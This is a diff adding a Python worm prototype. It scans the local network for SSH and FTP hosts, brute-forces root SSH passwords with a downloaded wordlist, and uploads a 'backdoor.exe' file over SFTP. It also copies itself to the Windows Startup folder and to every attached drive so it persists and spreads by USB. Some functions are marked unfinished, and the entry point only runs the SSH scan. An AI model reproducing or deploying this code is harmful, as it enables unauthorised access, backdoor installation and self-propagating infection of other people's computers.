|
| 1 | +import nmap |
| 2 | +import paramiko |
| 3 | +import os |
| 4 | +import coloredlogs, logging |
| 5 | +import socket |
| 6 | +from urllib.request import urlopen |
| 7 | +import urllib |
| 8 | +import time |
| 9 | +from ftplib import FTP |
| 10 | +import ftplib |
| 11 | +from shutil import copy2 |
| 12 | +import win32api |
| 13 | + |
| 14 | +import netifaces |
| 15 | +# ------------------- Logging ----------------------- # |
| 16 | +logger = logging.getLogger(__name__) |
| 17 | +coloredlogs.install(level='DEBUG', logger=logger) |
| 18 | +# --------------------------------------------------- # |
| 19 | + |
| 20 | + |
| 21 | +# gets gateway of the network |
| 22 | +gws = netifaces.gateways() |
| 23 | +gateway = gws['default'][netifaces.AF_INET][0] |
| 24 | + |
| 25 | +def get_private_ip(): |
| 26 | + """ |
| 27 | + Gets private IP address of this machine. |
| 28 | + This will be used for scanning other computers on LAN. |
| 29 | + Returns: |
| 30 | + private IP address |
| 31 | + """ |
| 32 | + logger.debug("Getting private IP") |
| 33 | + ip = socket.gethostbyname(socket.gethostname()) |
| 34 | + logger.debug("IP: " + ip) |
| 35 | + return ip |
| 36 | + |
| 37 | + |
| 38 | +def get_public_ip(): |
| 39 | + """ |
| 40 | + Gets public IP address of this network. |
| 41 | + You can access the router with this ip too. |
| 42 | + Returns: |
| 43 | + public IP address |
| 44 | + """ |
| 45 | + logger.debug("Getting public IP") |
| 46 | + import re |
| 47 | + data = str(urlopen('http://checkip.dyndns.com/').read()) |
| 48 | + return re.compile(r'Address: (\d+.\d+.\d+.\d+)').search(data).group(1) |
| 49 | + |
| 50 | + |
| 51 | +def scan_ssh_hosts(): |
| 52 | + """ |
| 53 | + Scans all machines on the same network that |
| 54 | + have SSH (port 22) enabled |
| 55 | + Returns: |
| 56 | + IP addresses of hosts |
| 57 | + """ |
| 58 | + logger.debug("Scanning machines on the same network with port 22 open.") |
| 59 | + |
| 60 | + |
| 61 | + logger.debug("Gateway: " + gateway) |
| 62 | + |
| 63 | + port_scanner = nmap.PortScanner() |
| 64 | + port_scanner.scan(gateway + "/24", arguments='-p 22 --open') |
| 65 | + |
| 66 | + all_hosts = port_scanner.all_hosts() |
| 67 | + |
| 68 | + logger.debug("Hosts: " + str(all_hosts)) |
| 69 | + return all_hosts |
| 70 | + |
| 71 | + |
| 72 | +def scan_ftp_hosts(): |
| 73 | + """ |
| 74 | + Scans all machines on the same network that |
| 75 | + have FTP (port 21) enabled |
| 76 | + Returns: |
| 77 | + IP addresses of hosts |
| 78 | + """ |
| 79 | + logger.debug("Scanning machines on the same network with port 21 open.") |
| 80 | + |
| 81 | + port_scanner = nmap.PortScanner() |
| 82 | + port_scanner.scan(gateway + '/24', arguments='-p 21 --open') |
| 83 | + all_hosts = port_scanner.all_hosts() |
| 84 | + |
| 85 | + logger.debug("Hosts: " + str(all_hosts)) |
| 86 | + return all_hosts |
| 87 | + |
| 88 | + |
| 89 | +def download_ssh_passwords(filename): |
| 90 | + """ |
| 91 | + Downloads most commonly used ssh passwords from a specific url |
| 92 | + Clearly, you can store passwords in a dictionary, but i found this more comfortable |
| 93 | + Args: |
| 94 | + filename - Name to save the file as. |
| 95 | + """ |
| 96 | + |
| 97 | + # TODO:130 This wordlist contains only few passwords. You would need a bigger one for real bruteforcing. \_(OwO)_/ |
| 98 | + |
| 99 | + logger.debug("Downloading passwords...") |
| 100 | + url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt" |
| 101 | + urllib.request.urlretrieve(url, filename) |
| 102 | + logger.debug("Passwords downloaded!") |
| 103 | + |
| 104 | + |
| 105 | +def connect_to_ftp(host, username, password): |
| 106 | + # TODO:30 : Finish this function + Add bruteforcing |
| 107 | + try: |
| 108 | + ftp = FTP(host) |
| 109 | + ftp.login(username, password) |
| 110 | + except ftplib.all_errors as error: |
| 111 | + logger.error(error) |
| 112 | + pass |
| 113 | + |
| 114 | + |
| 115 | +def connect_to_ssh(host, password): |
| 116 | + """ |
| 117 | + Tries to connect to a SSH server |
| 118 | + Returns: |
| 119 | + True - Connection successful |
| 120 | + False - Something went wrong |
| 121 | + Args: |
| 122 | + host - Target machine's IP |
| 123 | + password - Password to use |
| 124 | + """ |
| 125 | + |
| 126 | + # TODO:120 Pass usernames to the function too |
| 127 | + |
| 128 | + client = paramiko.SSHClient() |
| 129 | + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) |
| 130 | + try: |
| 131 | + logger.debug("Connecting to: " + host) |
| 132 | + client.connect(host, 22, "root", password) |
| 133 | + logger.debug("Successfully connected!") |
| 134 | + |
| 135 | + sftp = client.open_sftp() |
| 136 | + sftp.put('backdoor.exe', "destination") # change this. |
| 137 | + |
| 138 | + return True |
| 139 | + except socket.error: |
| 140 | + logger.error("Computer is offline or port 22 is closed") |
| 141 | + return False |
| 142 | + except paramiko.ssh_exception.AuthenticationException: |
| 143 | + logger.error("Wrong Password or Username") |
| 144 | + return False |
| 145 | + except paramiko.ssh_exception.SSHException: |
| 146 | + # socket is open, but not SSH service responded |
| 147 | + logger.error("No response from SSH server") |
| 148 | + return False |
| 149 | + |
| 150 | + |
| 151 | +def bruteforce_ssh(host, wordlist): |
| 152 | + """ |
| 153 | + Calls connect_to_ssh function and |
| 154 | + tries to bruteforce the target server. |
| 155 | + Args: |
| 156 | + wordlist - TXT file with passwords |
| 157 | + """ |
| 158 | + # TODO:10 : Bruteforce usernames too |
| 159 | + file = open(wordlist, "r") |
| 160 | + for line in file: |
| 161 | + connection = connect_to_ssh(host, line) |
| 162 | + print(connection) |
| 163 | + time.sleep(5) |
| 164 | + |
| 165 | + |
| 166 | +def usbspreading(): |
| 167 | + # TODO:50 : Make this threaded. |
| 168 | + bootfolder = os.path.expanduser('~') + "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/" |
| 169 | + |
| 170 | + while True: |
| 171 | + drives = win32api.GetLogicalDriveStrings() |
| 172 | + drives = drives.split('\000')[:-1] |
| 173 | + print(drives) |
| 174 | + for drive in drives: |
| 175 | + if "C:\\" == drive: |
| 176 | + copy2(__file__, bootfolder) |
| 177 | + else: |
| 178 | + copy2(__file__, drive) |
| 179 | + time.sleep(3) |
| 180 | + |
| 181 | + |
| 182 | +def main(): |
| 183 | + #download_ssh_passwords("passwords.txt") |
| 184 | + #for host in scan_ssh_hosts(): |
| 185 | + #bruteforce_ssh(host, "passwords.txt") |
| 186 | + scan_ssh_hosts() |
| 187 | + |
| 188 | + |
| 189 | +if __name__ == "__main__": |
| 190 | + main() |
0 commit comments